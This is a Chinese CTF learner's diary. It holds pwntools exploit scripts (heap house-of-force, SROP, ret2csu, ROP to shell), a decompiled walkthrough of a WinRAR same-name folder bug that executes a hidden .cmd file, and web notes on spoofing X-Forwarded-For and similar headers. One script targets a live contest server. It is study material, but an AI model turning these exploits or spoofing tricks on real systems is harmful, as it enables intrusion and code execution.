r = process(["qemu-aarch64", "-g", "1234", "./pwn"])
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
r.send(p)
r.interactive()
aarch64
环境构建
#必要环境
sudo apt update && sudo apt install -y make ninja-build pkg-config libglib2.0-dev bison flex
#安装qemu
wget https://download.qemu.org/qemu-9.0.1.tar.xz
tar xvJf qemu-9.0.1.tar.xz
cd qemu-9.0.1
./configure
make -j8
sudo make install
运行程序
-g
指定端口,-L
指定动态链接库,静态链接的程序无需该参数
qemu-aarch64 -g 1234 -L ./libc/libc/lib ./pwn
调试
gdb-multiarch -q ./pwn
set architecture aarch64
set endian little
add-symbol-file ./libc/libc/lib/libc-2.21.so
#连接到正在运行的pwn,端口为qemu指定的端口
target remote localhost:1234
脚本调试
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
r = process(["qemu-aarch64", "-g", "1234", "./pwn"])
#7-17-#7.22
电脑祭天…之前在干啥我也不记得了,记录一下电脑祭天前逆的WinRar
吧
释放到临时目录
sub_1400EF508
函数:
result = sub_1400E7F34(L"Rar$DI", v19, 2048i64, a4);
在Temp目录创建了临时目录Rar$DIa19832.13485
(DIa
后面的数字随机)sub_1400097E8(&unk_1401BA630, &szShortPath, 2048i64);
获取打开的压缩包所在文件路径到szShortPath
sub_140009290(&unk_1401BA630, 0i64, 0i64);
将文件释放到临时目录
__int64 __fastcall sub_140009290(__int64 a1, char a2, __int64 a3)
{
...
if ( !byte_14018A806 )
{
if ( byte_1401A25E8 )
sub_14000A650(a1);
else
sub_14000A5A4(a1);
}
...
}
sub_1400EF508->sub_140009290->sub_14000A650
__int64 __fastcall sub_14000A650(__int64 a1)
{
__int64 v1; // rcx
v1 = *(_QWORD *)(a1 + 8i64 * dword_1401A4928 + 8);
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v1 + 56i64))(v1);
}
通过return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v1 + 56i64))(v1);
跳转到sub_1400D6070
开始遍历szShortPath
路径文件下的所有文件
//0x1400D6070
__int64 cmp()
{
...
if ( (unsigned int)set_start_pos() )
return 8i64;
v1 = (int)call_cmp_name();
...
}
cmp
调用set_start_pos()
函数创建一块区域存放压缩包中的所有文件名
//0x1400D6478
__int64 set_start_pos()
{
...
start_pos = (char *)j__malloc_base(0x2004ui64);
...
}
cmp
调用call_cmp_name
函数开始遍历文件名到deFileName并且与点击的文件名click_name比较
call_cmp_name
函数调用write_filenames
函数向start_pos
区域中写压缩包中的所有文件,再调用cmp_name_1
进一步比较
//0x1400D3474
__int64 call_cmp_name()
{
...
v0 = write_filenames();
...
LODWORD(v1) = cmp_name_1(v2);
...
}
cmp_name_1
循环遍历start_pos
区域中的所有文件名并且调用cmp_name_2
继续比较
//0x1400CEBF4
__int64 __fastcall cmp_name_1(__int64 a1)
{
...
while ( !(unsigned __int8)sub_1400AE9EC() )
{
...
while ( v1 < 64 || byte_1401EA658 )
{
...
if ( !(unsigned int)cmp_name_2((unsigned int)&dword_14019B530, (unsigned int)v117, 0, v20, 0, 0i64, 0) )
goto LABEL_69;
...
}
...
}
...
}
继续套…cmp_name_2
获取了deFileName和click_name并且调用了compare
函数进行最终的比较,其中click_name是在获取点击的文件
部分获取的,放到后面分析
//0x140077054
__int64 __fastcall cmp_name_2(__int64 a1, __int64 a2, bool *a3, unsigned int a4, char a5, _WORD *a6, unsigned int a7)
{
...
deFileName = (const WCHAR *)(a2 + 40);
...
click_name = sub_1400AC0CC(v15);
...
if ( (unsigned __int8)compare(click_name, deFileName, a4) )
...
}
最重要的部分:compare
函数,比较的逻辑是click_name
与deFileName
或deFileName\\\\
或deFileName/
相同都可以匹配成功,即匹配同名的文件或文件夹,而释放的时候遇到文件夹会将文件夹下的所有文件释放的临时目录,因此点击poc.txt
的时候匹配到poc.txt
和poc.txt \\
,从而释放了poc.txt
以及poc.txt \\poc.txt .cmd
,释放的同时会保存文件路径,作为后续执行函数的参数结构体的lpFile
//0x140089948
char __fastcall compare(WCHAR *click_name, WCHAR *deFileName, int a3)
{
...
if ( (_WORD)a3 )
{
v7 = -1i64;
tName_len = -1i64;
do
++tName_len;
while ( click_name[tName_len] );
if ( (unsigned int)(unsigned __int16)a3 - 2 > 2 )
{
if ( a3 >= 0 )
v9 = sub_1400AF168(click_name, deFileName);
else
v9 = wcsncmp(click_name, deFileName, tName_len);
if ( !v9 )
{
tail = deFileName[tName_len];
if ( tail == '\\\\' || tail == '/' || !tail )
return 1;
}
if ( v3 == 1 )
return 0;
}
...
}
获取点击的文件名
WinMain
中循环调用process_message
处理消息
//0x140102524
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
...
while ( (unsigned __int8)process_message(0i64, 0i64) )
;
...
}
process_message
获取消息并且根据不同的消息值进行不同的操作,除了message=0x100/0x205/0xA5/0x203
,其他值会跳转到LABEL_63
执行DispatchMessageW
。当Msg.message==0x201
即获取到鼠标左击的消息时通过USER32.dll
中的函数进行一系列处理,获取左击的文件,即click_name
当光标位于窗口工作区中并且用户按下鼠标左键时发布。 如果未捕获鼠标,则消息将发布到光标下方的窗口。 否则,消息将发布到捕获了鼠标的窗口。
#define WM_LBUTTONDOWN 0x0201
//0x140101938
bool __fastcall process_message(HWND hDlg, HWND hWnd)
{
...
MessageW = GetMessageW(&Msg, 0i64, 0, 0);
if ( MessageW )
{
...
if ( !Msg.hwnd )
{
LABEL_63:
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
goto LABEL_64;
}
...
if ( qword_14018A7E0 )
{
...
goto LABEL_63;
}
...
}
执行
USER32.dll
处理完点击文件消息获取click_name
后继续处理消息,sub_1400FFEF0→sub_140059AC0→process4(sub_140059574 )
process4
函数调用了call_Release
函数进行释放,接着调用sub_140106678
进一步调用到执行的函数
//0x140059574
unsigned __int64 __fastcall process4(__int64 a1, unsigned int a2)
{
...
if ( byte_14018A804 )
{
if ( !(unsigned __int8)call_Release(v24, 2048i64) )
return sub_14006246C(0i64);
}
...
if ( a2 == 2 || v4 )
{
LOBYTE(v16) = v4;
LOBYTE(v15) = byte_14018A804;
sub_140106678(&unk_14018B87C, v24, v15, v16);
}
...
}
经过sub_140106678→sub_140103668→Execute
最终调用到ShellExecuteExW
执行文件,其中结构体SHELLEXECUTEINFOW pExecInfo
的参数lpFile
即为要执行的文件路径
char __fastcall Execute(__int64 a1, const WCHAR *a2, const WCHAR *a3, const WCHAR *a4, char a5, _QWORD *a6, const WCHAR *a7)
{
...
SHELLEXECUTEINFOW pExecInfo; // [rsp+20h] [rbp-E0h] BYREF
char Buffer[8192]; // [rsp+90h] [rbp-70h] BYREF
...
if ( pExecInfo.lpVerb )
{
pExecInfo.lpVerb = 0i64;
v12 = ShellExecuteExW(&pExecInfo);
}
}
...
}
可以看到传入的就是poc.txt
,而最后执行的是poc.txt \\poc.txt .cmd
,需要进一步分析ShellExecuteExW
,该函数位于SHELL32.dll
,调试的时候会自动下载调试符号
ShellExecuteExW
执行过程:借个图
__int64 __fastcall shlwapi_PathFileExistsAndAttributesW(__int64 a1, _DWORD *a2)
{
unsigned int v2; // esi
unsigned int v5; // ebp
int v6; // eax
int v8; // eax
__int64 v9; // [rsp+20h] [rbp-268h] BYREF
__int64 v10; // [rsp+28h] [rbp-260h] BYREF
__int128 v11; // [rsp+30h] [rbp-258h]
__int64 v12; // [rsp+40h] [rbp-248h]
__int128 v13; // [rsp+48h] [rbp-240h]
int v14; // [rsp+58h] [rbp-230h] BYREF
char v15[512]; // [rsp+60h] [rbp-228h] BYREF
v2 = 0;
if ( a2 )
*a2 = -1;
if ( a1 )
{
v5 = ((__int64 (__fastcall *)(__int64))kernelbase_SetErrorMode)(1i64);
v6 = ((__int64 (__fastcall *)(__int64))kernelbase_GetFileAttributesW)(a1);
if ( a2 )
*a2 = v6;
if ( v6 != -1
|| ((unsigned int)((__int64 (__fastcall *)(__int64))kernelbase_PathIsUNCServerW)(a1)
|| (unsigned int)((__int64 (__fastcall *)(__int64))kernelbase_PathIsUNCServerShareW)(a1))
&& ((v10 = 2i64,
v12 = a1,
v14 = 512,
v9 = 0i64,
v11 = 0i64,
v13 = 0i64,
(v8 = ((__int64 (__fastcall *)(__int64 *, char *, int *, __int64 *))unk_7FFA77D8B3AD)(&v10, v15, &v14, &v9)) == 0)
|| v8 == 234) )
{
v2 = 1;
}
((void (__fastcall *)(_QWORD))kernelbase_SetErrorMode)(v5);
}
return v2;
}
unsigned __int16 *__fastcall kernelbase_PathFindExtensionW(unsigned __int64 a1)
{
unsigned __int16 *v2; // r8
unsigned __int64 v3; // rdx
unsigned __int16 *result; // rax
unsigned __int16 v5; // cx
if ( !a1 )
return 0i64;
v2 = 0i64;
v3 = a1 + 0x10000;
result = (unsigned __int16 *)a1;
if ( a1 >= a1 + 0x10000 )
return (unsigned __int16 *)(a1
+ 2i64
* (int)((__int64 (__fastcall *)(unsigned __int64, unsigned __int64, unsigned __int16 *))kernelbase_lstrlenW)(
a1,
v3,
v2));
while ( 1 )
{
v5 = *result;
if ( !*result )
break;
if ( v5 <= 0x5Cu )
{
if ( v5 == 46 )
{
v2 = result;
}
else if ( v5 == '\\\\' || v5 == ' ' )
{
v2 = 0i64;
}
}
if ( (unsigned __int64)++result >= v3 )
return (unsigned __int16 *)(a1
+ 2i64
* (int)((__int64 (__fastcall *)(unsigned __int64, unsigned __int64, unsigned __int16 *))kernelbase_lstrlenW)(
a1,
v3,
v2));
}
if ( v2 )
return v2;
return result;
}
#7.23
被电脑祭天搞怕了,清理了一天手机电脑,备份之后写了个新生手册准备招新(救命高中语文学了全忘了已经不会措辞了。噢还写了个题但是没写出来呜呜
#7.24
改队规,补之前的日报…做了很多杂事嗯,不一一列举啦,明天开始把winrar分析完然后准备出去旅游啦,旅游的时候有时间继续逆向
#7.25-#8.7
逆向卡在一个循环…这段时间主要是陪宝宝然后去西安和上海旅游啦,那就浅浅记录一下吧
7.25-7.28
宝宝从广州特地来盐城找我玩了四天,提前给他准备了点生日惊喜嘿嘿,第一次打气球,尽力了orz
一起去吃了889的自助牛排和宝龙的奎梨烤肉,去五洲国际看了《你的名字》,去吃了盐城鸡蛋饼,还去实验室玩了一圈,期待下次见面
7.29-8.7
去西安旅游,玩了很多地方,最后去上海看了柯南30周年展。自从上了高中疫情之后也是四年没有旅游过啦,以后估计也很难又机会旅游。虽然耽误了很多学习时间,但感觉还不错。
华山、大唐芙蓉园
大唐不夜城
骡马市步行街
陕西历史博物馆、秦始皇陵
柯南30周年展
#8.8
今天补觉补了挺久…睡醒补了前面的日报,写了一道爆破canary
的题,然后收拾房间(为什么我的房间这么多东西!!)。题目就不放了
#8.9
复现2024
极客少年的pwn
,重学了一下house of orange
和house of force
,回头还要把house
系列重学一遍
house of force
适用libc
版本:2.23
2.27
使用前提:
1、申请堆块的大小不受限制
2、能够篡改top chunk
的size
位
3、有top chunk
原本的地址和目的地址
PS:有偏移可以不用具体地址
利用:改top chunk size
为-1
,申请堆块大小为target - 0x20 - top chunk address
,可以将top chunk
更新到target
处,再次申请可以任意写target
位置
orangeforce
house of orange + house of force
,无edit
和delete
,限制创建堆块数量六个,可以溢出8
字节,创建堆块之前还要先创建一个character
才能去创建堆。
先利用house of orange
缩小top chunk
的大小,但要保证修改的大小加上top chunk
的地址最后三位为0
,再创建一个比top chunk size
更大的堆使得top chunk
被释放进unsorted bin
,此时得到libc
地址,最后申请一个堆获得堆地址
泄露完地址再利用house of force
,改top chunk size
为-1
,再申请target - top_chunk - 0x20
大小的堆,使得top chunk
落在target
,这里需要改malloc_hook
,但是直接改malloc_hook
为ogg
不能打通,所以需要利用realloc_hook
,即使top chunk
落在realloc_hook
,最后申请一个堆改realloc_hook
为ogg
、改malloc_hook
为realloc + 2
此时已经用掉了六个堆,还需要创建一次堆触发ogg
,利用scanf
输入很长一段字符串可以导致scanf
内部扩展缓冲区,从而调用init_malloc
来分配更大的空间导致malloc_consolidate
的特性在scanf
时输入很长的内容来malloc
触发ogg
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add_c(name, STR, DEF, DEX, ACC, INT):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Name', name)
r.sendlineafter(b'STR', str(STR))
r.sendlineafter(b'DEF', str(DEF))
r.sendlineafter(b'DEX', str(DEX))
r.sendlineafter(b'ACC', str(ACC))
r.sendlineafter(b'INT', str(INT))
def add(size, content):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Power', content)
def show(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'Index', str(index))
add_c(b'a', 1, 1, 1, 1, 1)
add(0x18, b'a' * 0x18 + p64(0xd81))
add(0x1000, b'a')
show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3ebca0
libc = ELF('./libc-2.27.so')
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = libc_base + one[1]
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
add(0x1d0, b'a')
show(2)
r.recvuntil(b'\x7f')
r.recv(7)
top_chunk = u64(r.recv(11)[-8:].ljust(8, b'\x00')) + 0x21920
add(0xb88, b'a' * 0xb88 + p64(0xffffffffffffffff))
size = realloc_hook - top_chunk - 0x20
add(size, b'a')
add(0x1000, b'a' * 0x8 + p64(ogg) + p64(realloc + 2))
r.sendlineafter(b'> ', b'0' * 0x1000)
r.interactive()
ezpwn
exec
函数可以执行shellcode
,但要通过isAdmin
的判断,所以要先通过Login
改isAdmin
为1
,Login
中的password
为SuperSecurePassword123!
,而要用Login
首先要把v5
改成0
,所以通过Send Message to Admin
功能溢出v4
将v5
覆盖成0
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'>', b'\x00' * 56)
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Password', b'SuperSecurePassword123!\x00')
r.sendlineafter(b'>', b'4')
shellcode = asm(shellcraft.sh())
r.sendlineafter(b'Shellcode', shellcode)
r.interactive()
[CISCN_2019华南]PWN3
这题印象中以前写过,没有pie
没有canary
,一次读可以溢出,一次输出泄露地址,程序中有mov rax, 0Fh
,第一反应就是srop
,第一次读泄露栈地址,第二次读输入/bin/sh
再利用srop
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
sigreturn = 0x4004DA
syscall = 0x400517
vuln = 0x4004F1
p = b'a' * 0x10 + p64(vuln)
r.sendline(p)
binsh = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b'/bin/sh\x00' * 2 + p64(sigreturn) + p64(syscall) + bytes(frame)
r.send(payload)
r.interactive()
还可以用ret2csu
,泄露地址方式同上,再利用csu
改寄存器,最后用mov rax, 3Bh
打execve
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
execve = 0x4004E2
csu_end_addr = 0x400596
csu_front_addr = 0x400580
syscall = 0x400517
pop_rdi_ret = 0x00000000004005a3
vuln = 0x4004F1
p = p64(execve) + b'/bin/sh\x00' + p64(vuln)
r.sendline(p)
stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x128
payload = b'/bin/sh\x00' * 2
payload += p64(csu_end_addr) + p64(0) * 2 + p64(1) + p64(stack) + p64(0) * 2 + p64(stack + 0x8)
payload += p64(csu_front_addr) + p64(0) * 7
payload += p64(pop_rdi_ret) + p64(stack + 0x8) + p64(syscall)
r.send(payload)
r.interactive()
#8.10
重学了一下c++
,明天把异常处理和命名空间看完再看看c
的套接字编程
概念
标准库(standard library
):提供IO
机制,包括标准输入cin
、标准输出cout
、标准错误cerr
、一般信息clog
std::
:标准库的命名空间(namespace
),指出名字是定义在std
命名空间中的,避免名字冲突,其中::
为作用域运算符
iostream
库:包含istream
(输入流)和ostream
(输出流),一个流就是一个字符序列,是从IO
设备读出或写入IO
设备的,随着时间的推移,字符是顺序生成或消耗的
操纵符(endl
):结束当前行,并将与设备关联的缓冲区(buffer
)中的内容刷到设备中,保证到目前为止程序所产生的所有输出都真正写入输出流中,而不是仅停留在内存中等待写入流
文件重定向:将标准输入和标准输出与命名文件关联起来:addItems outfile
,加法程序已经编译为名为addItems
的可执行文件,则上述命令会从一个名为infile
的文件读取销售记录,并将输出结果写入到一个名为outfile
的文件中
语法
条件运算符:cond?expr1:expr2;
读取数量不定的输入数据:while(std::cin >> value)
类型别名:typedef type1 type2;
显示转换:cast-name<type>(expression);
cast-name
包括:
static_cast
:任何具有明确定义的类型转换(除底层const
)都可以使用,例如将较大算数类型赋值给较小类型,或找回存在于void*
指针中的值void* p = &d; double *dp = static_base<double*>(p);
dynamic_case
:支持运行时类型识别const_cast
:只能改变运算对象的底层const
,将常量对象转换成非常量对象,一般称为去const
性质,常用于有函数重载的上下文中const char *cp; char *q = static_case<char*>(cp);
try语句块和异常处理
throw
:引发异常,表示遇到无法处理的问题
try
:处理异常,以try
开始并以一个或多个catch
(异常处理代码)结束,try
内声明的变量在块外部和catch
语句中无法访问
runtime_error
的what
成员返回的是初始化一个具体对象时所用的string
对象的副本
catch(runtime_error err){
cout << err.what();
}
如果一段程序没有try
语句块且发生了异常或没有匹配的catch
子句,系统会调用terminate
标准库函数终止当前程序的执行
标准库定义了一组用于报告标准库函数遇到的问题的异常类,包含在四个头文件中:
exception
:定义了最通用的异常类exception
,只报告异常的发生不提供额外信息stdexcept
:定义了几种常用的异常类runtime_error
:只有在运行时才能检测出的问题range_error
:运行时错误:生成结果超出有意义的值域范围overflow_error
:运行时错误:计算上溢underflow_error
:运行时错误:计算下溢logic_error
:程序逻辑错误domain_error
:逻辑错误:参数对应的结果值不存在invalid_argument
:逻辑错误:无效参数length_error
:逻辑错误:试图创建一个超出该类型最大长度的对象out_of_range
:逻辑错误:使用一个超出有效范围的值exception
:最常见的问题
new
:定义了bad_alloc
异常类型type_info
:定义了bad_cast
异常类型
只能以默认初始化的方式初始化exception、bad_alloc、bad_cast
对象,不能提供初始值,其他异常类型应该使用string
对象或C
风格字符串初始化这些类型的对象,初始值含有错误相关的信息
throw std::runtime_error("Runtime error occurred");
每个标准库异常类都只定义了名为what
的成员函数,返回值是C
风格字符串(即const char*
),提供关于异常的一些文本信息,如果异常类型有一个字符串初始值,what
返回该字符串,其他类型由编译器决定
调试帮助
assert
:一种预处理宏,assert(expr);
,用于检查不能发生的条件
__func__
:输出当前调试的函数的名字
__FILE__
:存放文件名的字符串字面值
__LINE__
:存放当前行号的整型字面值
__TIME__
:存放文件编译时间的字符串字面值
__DATE__
:存放文件编译日期的字符串字面值
if(word.size() < threshold)
cerr << "Error: " << __FILE__ << " : in function " << __func__
<< " at line " << __LINE__ << endl
<< " Compiled on " << __DATE__ << " at "
<< __TIME__ << endl << " Word read was \"" << word
<< "\":Length too short" << endl;
Error:wdebug.cc : in function main at line 27
Compiled on Ujl 11 2-12 at 20:50:03
Word read was "foo":Length too short
类
构造函数
控制对象的初始化过程,只要类的对象被创建就会执行构造函数。类可以包括多个构造函数,类似重载函数,不同构造函数必须在参数数量或类型上有区别。构造函数不能声明成const
struct Sales_data{
Sales_data() = default; //默认构造函数,const成员必须初始化
Sales_data(const std::string &s): bookNo(s) {}
//等价于Sales_data(const std::string &s): bookNo(s), unite_sold(0), revenue(0){}
Sales_data(const std::string &s, unsigned n, double p):
bookNo(s), units_sold(n), revenue(p*n){}
//冒号及冒号与花括号之间的是构造函数初始值列表
Sales_data(std::istream &);
//在类的外部定义构造函数
//Sales_data::Sales_data(std::istream &is){
// read(is, *this);
//}
//Sales_data::Sales_data表示定义Sales_data类成员,名字是Sales_data
std::string isbn() const {return bookNo;}
Sales_data& combine(const Sales_data&);
double avg_price() const;
std::string bookNo;
unsigned units_sold = 0;
double revenue = 0.0;
}
析构函数
释放对象使用的资源,并销毁对象的非static
数据成员,是类的一个成员函数,名字由波浪号接类名构成
class Foo{
public:
~Foo();
...
};
#8.11
写了道题,看了些c++
的异常处理和命名空间,感觉没什么很重要需要记的东西,重在理解吧反正不搞开发(bushi
#8.12
嗯..还在学c++
,写了道题,就不记录啦,反正c++
就学到这里。明天开始学套接字编程,把编程基础补上,python
的基础以后再说。
#8.13
一题写了一天…唉同一个问题反复犯。晚上打开moectf
写了俩web
Web渗透测试与审计入门指北
拿phpstudy
搭了个网站拿到flag
弗拉格之地的入口
dirsearch
扫到robots.txt
,提示
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php
访问webtutorEntry.php
得到flag
后来发现robots.txt
就是用于告诉搜索引擎爬虫哪些页面可以抓取,那题目提示的就很明显了
#8.14
装了ida 9
和一些web
工具:dirsearch、hackbar、 ProxySwitchyOmega,Wappalyzer
,写了一道题,开始下一个逆向目标,解包了固件,没找到目标文件在哪
ez_http
Referer:
指示一个请求是从哪个页面发起的,参数是一个url
User Agent:
User Agent是一个字符串,用于描述发出HTTP请求的浏览器或客户端类型和版本。
例如:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3。
Cookies:
Cookies是服务器发送到客户端浏览器的小型数据片段,用于存储信息,如用户偏好、会话标识等。浏览器会存储这些Cookies,并在随后的请求中自动发送给服务器,以便服务器识别用户并保持状态
GET请求
用途:用于请求服务器发送资源
数据传输:通过URL传递数据,数据附加在URL后面,形成查询字符串,以访问url?xx=xx的形式进行get请求
缓存:GET请求可以被浏览器缓存,请求的数据会保存在浏览器历史记录中
安全性:由于数据暴露在URL中,因此GET请求不适合传输敏感信息
POST请求
用途:用于向服务器提交数据进行处理,例如表单提交或上传文件
数据传输:数据在请求体中发送,不会显示在URL中
python中用post请求参数是data,post中加get请求用params
import requests url = 'http://127.0.0.1:60568' post_data = { 'animateButton': 'Hit the question setter', 'imoau': 'sb', } get_params = {'xt': '大帅b'} response = requests.post(url, data=post_data, params=get_params) print(response)
bp:提交POST请求, 需要比GET请求多提供几个请求头, 其中最重要的一个是
Content-Type: application/x-www-form-urlencoded
,post
多个参数用&
连接,get
请求在post
后面以/?xx=xx
的形式
其他头:
origin:指示请求从哪个源(origin)发起,参数是url
//伪造本地ip
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
最终请求:
POST /?xt=%e5%a4%a7%e5%b8%85b HTTP/1.1
Host: 127.0.0.1:60568
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: MoeDedicatedBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.xidian.edu.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
X-Forwarded-For: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
imoau=sb&animateButton=Hit the question setter
网站结构
/ (根目录):网站的主目录,通常包含首页文件和其他重要文件。
/assets 或 /static:用于存放静态资源,如JavaScript、CSS和图像文件。
/css:专门存放CSS样式表文件。
/js:存放JavaScript脚本文件。
/img 或 /images:存放网站使用的图像资源。
/fonts:如果网站使用自定义字体,这个文件夹用于存放字体文件。
/uploads:用户上传的文件通常会被保存在这个目录。
/lib 或 /vendor:第三方库或依赖的文件夹,例如jQuery、Bootstrap等。
/plugins:如果网站使用插件系统,这个文件夹用于存放插件文件。
/includes 或 /inc:包含一些被多个页面或脚本包含的通用代码片段。
/templates 或 /views:如果网站使用模板引擎,这个文件夹存放模板文件。
/partials:存放模板的片段,可以被模板引擎重用。
/content 或 /data:存放网站的内容文件,如Markdown或HTML文件。
/admin:后台管理界面的文件夹。
/cache:用于存放缓存文件,以提高网站性能。
/logs:存放日志文件,记录网站的运行情况和错误信息。
/config:存放配置文件,如数据库配置、服务器配置等。
/bin:存放编译或二进制文件。
/tests:如果网站包含自动化测试,测试脚本和测试数据会存放在这个文件夹。
/docs:存放项目文档,如开发文档、用户手册等。
/backups:存放网站的备份文件。
/src 或 /source:如果网站使用构建工具,源代码会存放在这个文件夹。
/dist 或 /build:存放构建或编译后的文件,这些文件是最终提供给用户访问的。
/.well-known(或在根目录下):存放一些协议要求的特殊文件,如/.well-known/acme-challenge用于HTTPS的Let's Encrypt证书验证。
index.html:主页文件,通常作为网站的入口点。当用户访问网站时,默认访问的就是这个文件。
404.html:错误页面,当用户请求的页面不存在时,服务器会显示这个页面。
robots.txt:用于告诉搜索引擎爬虫哪些页面可以抓取,哪些不可以。
sitemap.xml:网站地图,列出了网站中所有页面的URL,帮助搜索引擎更好地索引网站。
favicon.ico:网站的图标,通常显示在浏览器的标签页上。
CSS文件:层叠样式表(Cascading Style Sheets)文件,用于定义网站的布局和样式。
JavaScript文件(如 script.js):用于实现网站的动态功能和交互效果。
图像文件(如 logo.png、banner.jpg):网站上使用的图像资源,用于增强视觉效果。
服务器端脚本(如 index.php、config.py):用于生成动态内容,处理表单提交等。
数据库文件(如 database.sql 或通过数据库管理系统存储):存储网站的数据,如用户信息、文章内容等
配置文件(如 config.php、settings.ini):包含网站的配置信息,如数据库连接信息、服务器设置等。
资源文件夹(如 /images、/css、/js):用于存放静态资源文件,如图片、样式表、脚本等
内容管理系统(CMS)文件(如果使用CMS):如果网站使用CMS,如WordPress、Joomla等,会包含CMS的核心文件和插件。
插件/扩展文件:如果网站使用了插件或扩展,这些文件会提供额外的功能。
临时文件/缓存(如 .tmp、.cache):用于存储临时数据或缓存,提高网站性能。
备份文件:网站的备份,用于数据恢复。
文档和说明文件(如 README.md、LICENSE):提供关于网站的说明和使用协议。
#8.15
感冒发烧,一下吃了四五种药,晕死,写了几题又睡了半天唉
写了个base
的pwn
然后写了俩base
的web
和一个moe
的web
,整理了一下web
的笔记,笔记就不放了,都是些入门的
好饿啊,吃了点东西全吐了,谁能莫名其妙给我点个KFC
(bushi
emmmm放没结束的比赛的exp
会不会不太好,但应该没什么人看我博客吧(((
我把它弄丢了
有binsh
有system
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('challenge.basectf.fun', 47078)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
binsh = 0x402008
shell = 0x40120F
pop_rdi_ret = 0x0000000000401196
p = b'a' * 0x78 + p64(pop_rdi_ret) + p64(binsh) + p64(shell)
r.sendlineafter(b'her.', p)
r.interactive()
A Dark Room
直接查看源代码,注释里有flag
(讲个笑话,还真玩了两分钟的游戏
HTTP是什么呀
谁懂,因为觉得开bp
好麻烦,拿hackbar
看了半天不会写
bp
抓包改http
参数
POST /?basectf=we1c%2500me HTTP/1.1
Host: challenge.basectf.fun:33834
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Referer:Base
User-Agent:Base
Cookie:c00k13=i can't eat it
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 9
Base=fl@g
会得到以下内容,base64
解码即可
HTTP/1.1 302 Found
Server: nginx/1.18.0
Date: Thu, 15 Aug 2024 07:05:41 GMT
